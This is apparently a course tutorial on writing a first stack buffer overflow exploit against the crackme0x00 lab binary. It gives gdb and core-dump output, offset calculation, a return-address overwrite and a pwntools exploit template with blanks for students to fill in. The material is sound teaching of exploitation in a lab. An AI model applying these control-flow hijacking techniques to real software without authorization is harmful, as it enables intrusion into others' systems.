Tut03: Writing Your First Exploit

In this tutorial, you will learn, for the first time, how to write a control-flow hijacking attack that exploits a buffer overflow vulnerability.

Step 1: Understanding crashing state

There are a few ways to check the status of the last segmentation fault:

Note. /tmp/input should be your secret file under /tmp!

  1. running gdb

    $ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /tmp/[secrete]/input
    $ gdb ./crackme0x00
    > run </tmp/[secrete]/input
    Starting program: ./crackme0x00 </tmp/[secrete]/input
    IOLI Crackme Level 0x00
    Password: Invalid Password!
    
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    
  2. checking logging messages (if you are working on your local machine)

    $ dmesg | tail -1
    [19513751.485863] crackme0x00[20200]: segfault at 41414141 ip 000000000804873c sp 00000000ffffd668 error 4 in crackme0x00[8048000+1000]
    
    * NOTE: We disable dmesg for the class.
            You will be able to run dmesg from your local environment.
    
  3. checking logging message (if you are working on our server)

    Only when you are working under /tmp/, our server stores dmesg-like logging information for you whenever a lab challenge crashes. For example, you will can find a logging output, named core, under a /tmp/[secret] directory if you crash our tutorial binary, crackme0x00:

    $ mkdir /tmp/[secrete]/
    $ cd /tmp/[secrete]/
    $ cat /tmp/[secrete]/input | /home/lab03/tut03-stackovfl/crackme0x00
    ...
    $ ls
    core
    $ cat core
    [New LWP 18]
    Core was generated by `/home/lab03/tut03-stackovfl/crackme0x00'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41414141 in ?? ()
    eax            0x0      0
    ecx            0x804b160        134525280
    edx            0xf7fbe890       -134485872
    ebx            0x0      0
    esp            0xffffd5e8       0xffffd5e8
    ebp            0x41414141       0x41414141
    esi            0xf7fbd000       -134492160
    edi            0x0      0
    eip            0x41414141       0x41414141
    eflags         0x10292  [ AF SF IF RF ]
    cs             0x23     35
    ss             0x2b     43
    ds             0x2b     43
    es             0x2b     43
    fs             0x0      0
    gs             0x63     99
    

Let's figure out which input tainted the instruction pointer.

$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > /tmp/[secrete]/input
$ ./crackme0x00 < /tmp/[secrete]/input
$ dmesg | tail -1
[19514227.904759] crackme0x00[21172]: segfault at 46464646 ip 0000000046464646 sp 00000000ffffd688 error 14 in libc-2.27.so[f7de5000+1d5000]

What's the current instruction pointer? You might need this help:

$ man ascii

You can also figure out the exact shape of the stack frame by looking at the instructions as well.

$ objdump -M intel-mnemonic -d crackme0x00
...
080486b3 <start>:
80486b3:       55                      push   ebp
80486b4:       89 e5                   mov    ebp,esp
80486b6:       83 ec 10                sub    esp,0x10
...
80486d3:       8d 45 f0                lea    eax,[ebp-0x10]
80486d6:       50                      push   eax
80486d7:       68 11 88 04 08          push   0x8048811
80486dc:       e8 9f fd ff ff          call   8048480 <scanf@plt>
...
|<- -0x10 ->|+--- ebp
top                   v
[         [buf]       ][fp][ra]
|<---- 0x10+0x10 ----->|

0x10 + 4 = 20, which is exactly the length of AAAABBBBCCCCDDDDEEEE the following FFFF will cover the ra.

Step 0: Triggering a buffer overflow

Do you remember the crackme binaries (and its password)?

# login to the CTF server
# ** check Canvas for login information! **
[host] $ ssh lab03@<ctf-server-address>

$ cd tut03-stackovfl
$ ./crackme0x00
IOLI Crackme Level 0x00
Password:

If you disassemble the binary (it's good time to fire Ghidra!), you may see these code snippet:

$ objdump -M intel-mnemonic -d crackme0x00

...
80486d3:       8d 45 f0                lea    eax,[ebp-0x10]
80486d6:       50                      push   eax
80486d7:       68 11 88 04 08          push   0x8048811
80486dc:       e8 9f fd ff ff          call   8048480 <scanf@plt>
...

What's the value of 0x8048811? Yes, %s, which means the scanf() function gets a string as an argument on -0x10(%ebp) location.

What happens if you inject a long string? Like below.

$ cd /tmp/[secrete]/
$ ln -s ~/tut03-stackovfl/crackme0x00
$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Segmentation fault (core dumped)

If you check the logging message (i.e., core), you will be able to observe which registers were affected by your input. Here, EBP is overwritten by EEEE (0x45454545), and the return address is overwritten by FFFF (0x46464646), as specified by the EIP register.

$ cat core
[New LWP 92]
Core was generated by `./crackme0x00'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x46464646 in ?? ()
eax            0x0  0
ecx            0x804b160  134525280
edx            0xf7fbe890 -134485872
ebx            0x0  0
esp            0xffffd698 0xffffd698
ebp            0x45454545 0x45454545
esi            0xf7fbd000 -134492160
edi            0x0  0
eip            0x46464646 0x46464646
eflags         0x10292  [ AF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

Step 2: Hijacking the control flow

In this tutorial, we are going to hijack the control flow of ./crackme0x00 by overwriting the instruction pointer. As a first step, let's make it print out Password OK :) without putting the correct password!

   80486ed:       e8 2e fd ff ff          call   8048420 <strcmp@plt>
   80486f2:       83 c4 08                add    esp,0x8
   80486f5:       85 c0                   test   eax,eax
   80486f7:       75 31                   jne    804872a <start+0x77>
 ->80486f9:       68 3e 88 04 08          push   0x804883e
   80486fe:       e8 6d fd ff ff          call   8048470 <puts@plt>

   ...
   804872c:       68 92 88 04 08          push   0x8048892
   8048731:       e8 3a fd ff ff          call   8048470 <puts@plt>
   8048736:       83 c4 10                add    esp,0x10

We are going to jump to 0x80486f9 such that it prints out Password OK :). Which characters in input should be changed to 0x80486f9? Let me remind you that x86 is a little-endian machine.

$ hexedit /tmp/[secrete]/input

C-x will save your modification.

$ cat /tmp/[secrete]/input | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Password OK :)
Segmentation fault

Step 3: Using Python template for exploit

Today's task is to modify a python template for exploitation. Please edit the provided python script (exploit.py) to hijack the control flow of crackme0x00! Most importantly, please hijack the control flow to print out your flag in this unreachable code of the binary.

   // Your input should be "250381" and "no way you can reach!" at the
   // same time! to get the flag.

  8048706:       68 4d 88 04 08          push   0x804884d
  804870b:       8d 45 f0                lea    eax,[ebp-0x10]
  804870e:       50                      push   eax
  804870f:       e8 0c fd ff ff          call   8048420 <strcmp@plt>
  8048714:       83 c4 08                add    esp,0x8
  8048717:       85 c0                   test   eax,eax
  8048719:       75 1c                   jne    8048737 <start+0x84>
->804871b:       68 63 88 04 08          push   0x8048863
  8048720:       e8 d1 fe ff ff          call   80485f6 <print_key>

In this template, we will start utilizing pwntools, which provides a set of libraries and tools to help writing exploits. Although we will cover the detail of pwntool in the next tutorial, you can have a glimpse of how it looks.

#!/usr/bin/env python2

import os
import sys

# import a set of variables/functions from pwntools into own namespace
# for easy accesses
from pwn import *

if __name__ == '__main__':

    # p32/64 for 'packing' 32 or 64 bit
    # so given an integer, it returns a packed (i.e., encoded) bytestring
    assert p32(0x12345678) == b'\x00\x00\x00\x00'                 # Q1
    assert p64(0x12345678) == b'\x00\x00\x00\x00\x00\x00\x00\x00' # Q2

    payload = "Q3. your input here"

    # launch a process (with no argument)
    p = process(["./crackme0x00"])

    # send an input payload to the process
    p.send(payload + "\n")

    # make it interactive, meaning that we can interact with
    # the process's input/output (via pseudo terminal)
    p.interactive()

To make this exploit working, you have to modify Q1-3 in the template.

If you'd like to practice more, can you make the exploit to gracefully exit the program after hijacking its control multiple times?

[Task] Modify the given template (exploit.py) to hijack the control flow, and print out the key.

Debugging tips and exec-wrapper

Let's discuss how we can utilize set exec-wrapper feature in gdb to match the behaviors of the process outside the debugger. When exec-wrapper is set, the specified wrapper is used to launch programs for debugging. GDB starts your program with a shell command of the form exec wrapper program. You can use any program that eventually calls execve with its arguments as a wrapper.

For example, you can use env to pass an environment variable to the debugged program, without setting the variable in your shell’s environment:

(gdb) set exec-wrapper env 'LD_PRELOAD=libtest.so'
(gdb) run

For further reading about the wrapper, please refer to here.

Tip1: clear env variables

In order to get a predictable stack in a system that disabled ASLR, set exec-wrapper env -i can be set so that the program is started with an empty environment, e.g., you can get a core dump with an empty environment while debugging.

$ mkdir /tmp/[redacted]/
$ cd /tmp/[redacted]/
$ gdb-pwndbg ~/tut03-stackovfl/crackme0x00
pwndbg> set exec-wrapper env -i
pwndbg> r
Starting program: /home/lab03/tut03-stackovfl/crackme0x00
IOLI Crackme Level 0x00
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Invalid Password!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

pwndbg> gcore
Saved corefile core.545

Note that the set exec-wrapper env -i is a default feature on the lab server. If you do not want to use this feature, please disable it before debugging, e.g.,

$ export SHELLCODE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ gdb-pwndbg ~/jmp-to-env/target


pwndbg> unset exec-wrapper
pwndbg> r BBBB

Tip2: make stack addresses consistent

The reason why the stack addresses in gdb can be different from the raw target is that (1) the env variables inside and outside gdb are different due to the fact that gdb creates two new env variables called LINES and COLUMNS, and (2) gdb always use absolute paths and it may be differen from the path in your command.

Hence, to make stack addresses consistent, we need to (1) use absolute path when executing in and outside gdb, e.g.,

$ /home/lab03/jmp-to-env/target [input]

(2) remove extra env variables

pwndbg> set exec-wrapper env -u LINES -u COLUMNS

by setting the exec-wrapper above, we can remove the two extra env variables while debugging so that match the environment outside.

Reference